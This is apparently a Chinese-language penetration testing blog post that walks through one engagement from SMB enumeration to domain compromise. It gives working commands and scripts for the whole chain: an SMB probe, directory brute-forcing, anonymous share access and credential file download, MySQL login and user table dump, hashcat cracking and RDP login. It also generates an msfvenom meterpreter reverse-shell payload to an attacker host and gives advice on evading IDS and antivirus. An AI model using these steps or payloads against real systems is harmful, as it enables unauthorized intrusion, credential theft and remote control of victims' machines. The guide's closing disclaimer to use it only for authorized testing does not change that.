一、渗透的切入点在哪里?思考攻击的起点
在渗透测试中,找到一个合适的切入点是至关重要的。每一次攻击的开始,都源于目标的暴露面,这一暴露面可能是一个忘记打补丁的服务,一个没有安全意识的员工,或者一段可以被利用的代码逻辑。
我更习惯将目标划分为三大类可能的切入点:
- 技术层面的薄弱点:未修复的漏洞、未加固的系统配置。
- 人员层面的疏忽:社工攻击、钓鱼邮件。
- 网络结构的缺陷:如暴露的管理接口、弱配置的VPN。
有一次,我接手了一家企业的渗透测试项目。起初他们信心满满,自认为安全防护已经滴水不漏。然而,我仅仅靠一个开放的 SMB 服务,成功拿到了域控权限。如果你细心观察,总会找到可利用的点。接下来,我会以 SMB 为例,完整展示一次从信息收集到拿下域控的过程。
---
二、信息收集:像猎人一样追踪目标
在渗透中,“信息就是武器”,而我一直信奉这一点。没有足够的信息,就像盲人摸象,根本不知道往哪里下手。我通常分成以下几个步骤:
1. 网络扫描与资产识别
最常用的工具当然是 Nmap,但有时我也会自写一些脚本来细化扫描结果。例如对目标的 SMB 服务进行进一步探测。我写了一个简单的 Ruby 脚本,来快速枚举目标的 SMB 共享信息。
<pre><code class="language-ruby">require 'socket'
用 Ruby 构造一个简单的 SMB 探测脚本
def smb_probe(ip, port=445) begin socket = TCPSocket.new(ip, port) socket.write("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") response = socket.recv(1024) if response.include?("SMB") puts "[+] SMB 服务发现: #{ip}:#{port}" else puts "[-] 非 SMB 服务: #{ip}:#{port}" end rescue => e puts "[-] 目标不可访问: #{ip}:#{port} | 错误: #{e.message}" ensure socket.close if socket end end
调用脚本进行扫描
target_ip = "192.168.1.100" smb_probe(target_ip)</code></pre>

这个脚本的作用是检测目标 IP 的 445 端口是否运行了 SMB 服务,同时判断响应的有效性。通过这个脚本,我确认目标的 SMB 服务是开启的。
2. 目录与敏感文件探测
接下来是目录和敏感文件的探测,通常我会用 Gobuster 或 Dirsearch 这样的工具快速跑一遍常见的路径,但有时候自己写脚本更灵活。例如:
<pre><code class="language-shell"># 用 shell 进行简单的目录探测 while read line; do url="http://192.168.1.100/$line" response=$(curl -o /dev/null -s -w "%{http_code}" $url) if [[ $response == "200" ]]; then echo "[+] 存在目录: $url" fi done < common_dirs.txt</code></pre>
经验:很多企业为了图省事,把一些敏感的配置文件随意暴露在公开目录,比如 .git/、/backup/ 等,这种情况尤其多。
经过这一步,我发现目标的 445 端口 SMB 服务启用,同时还有一个 /backup/ 目录暴露在外,似乎可以作为后续攻击的潜在入口。
---
三、利用 SMB 服务进行进一步攻击
1. 未授权访问测试
我首先尝试直接连接 SMB,通常用 smbclient: <pre><code class="language-shell">smbclient -L //192.168.1.100 -N</code></pre>
这里的 -N 参数表示不提供密码。有时候,管理员为了方便(或者因为疏忽),会把共享目录设置成公开访问权限。果然,我发现了一个共享目录 backup,并成功列出了其中的文件。
2. 下载敏感文件分析
在目录中,我发现了一个文件名极其可疑的文件:db_credentials.txt。用以下命令直接下载: <pre><code class="language-shell">smbclient //192.168.1.100/backup -N -c "get db_credentials.txt"</code></pre>
打开文件后,果然发现了一组数据库的用户名和密码: <pre><code>username: admin password: SuperSecure123!</code></pre>
这时候,我拿到了第一组有效凭证,可以尝试用这组账号密码进行进一步的横向渗透。
---
四、从数据库到内网控制权
1. 数据库登录与提权
我发现目标运行的是 MySQL 数据库,于是直接尝试用这组凭证进行登录: <pre><code class="language-shell">mysql -u admin -pSuperSecure123! -h 192.168.1.100</code></pre>

成功登录到数据库后,我查询了一些敏感表,发现了一个包含员工账号信息的表 users,并导出了其中的内容。

<pre><code class="language-sql">SELECT username, password FROM users INTO OUTFILE '/tmp/user_dump.txt';</code></pre>
将这些数据下载到本地后,我用 hashcat 对密码进行了暴力破解。用了一些常见的密码字典后,我成功破解了一些简单密码。
2. 内网横向移动
得到了员工的凭证后,我马上尝试用这些账号登录目标的其他服务,比如 RDP 和 SSH。
<pre><code class="language-shell"># 用暴露的 RDP 端口登录 xfreerdp /u:employee /p:123456 /v:192.168.1.100</code></pre>
其中一个员工的密码非常弱,我成功登录了一台内网机器,并发现了管理员的密码文件存放在桌面上。这为我后续的域控提权打下了基础。
---
五、经验之谈:如何做到隐蔽又高效?
1. 控制扫描频率
扫描时一定要注意流量的伪装,特别是在企业环境中,过于频繁的探测会触发 IDS/IPS 系统的报警。
2. 免杀与绕过
在上传木马时,尽量使用内存加载的方式避免落地文件。举个例子,我会用 Metasploit 的以下模块生成一个免杀的载荷: <pre><code class="language-shell">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f exe -e x86/shikata_ga_nai</code></pre>
生成的文件再混淆加壳,能有效绕过大多数杀软。
---
六、总结:保持攻击者的视角
一次完整的渗透测试,其实就是一次技术与脑力的博弈。从信息收集到漏洞利用,再到权限提升,每一步都至关重要。这一次的 SMB 渗透是经典的内部攻击案例,而类似的攻击思路还可以扩展到 FTP、RDP 等其他服务。
最后提醒一句,这篇文章的技术仅限于学习和授权测试,切勿用于非法用途,否则后果自负!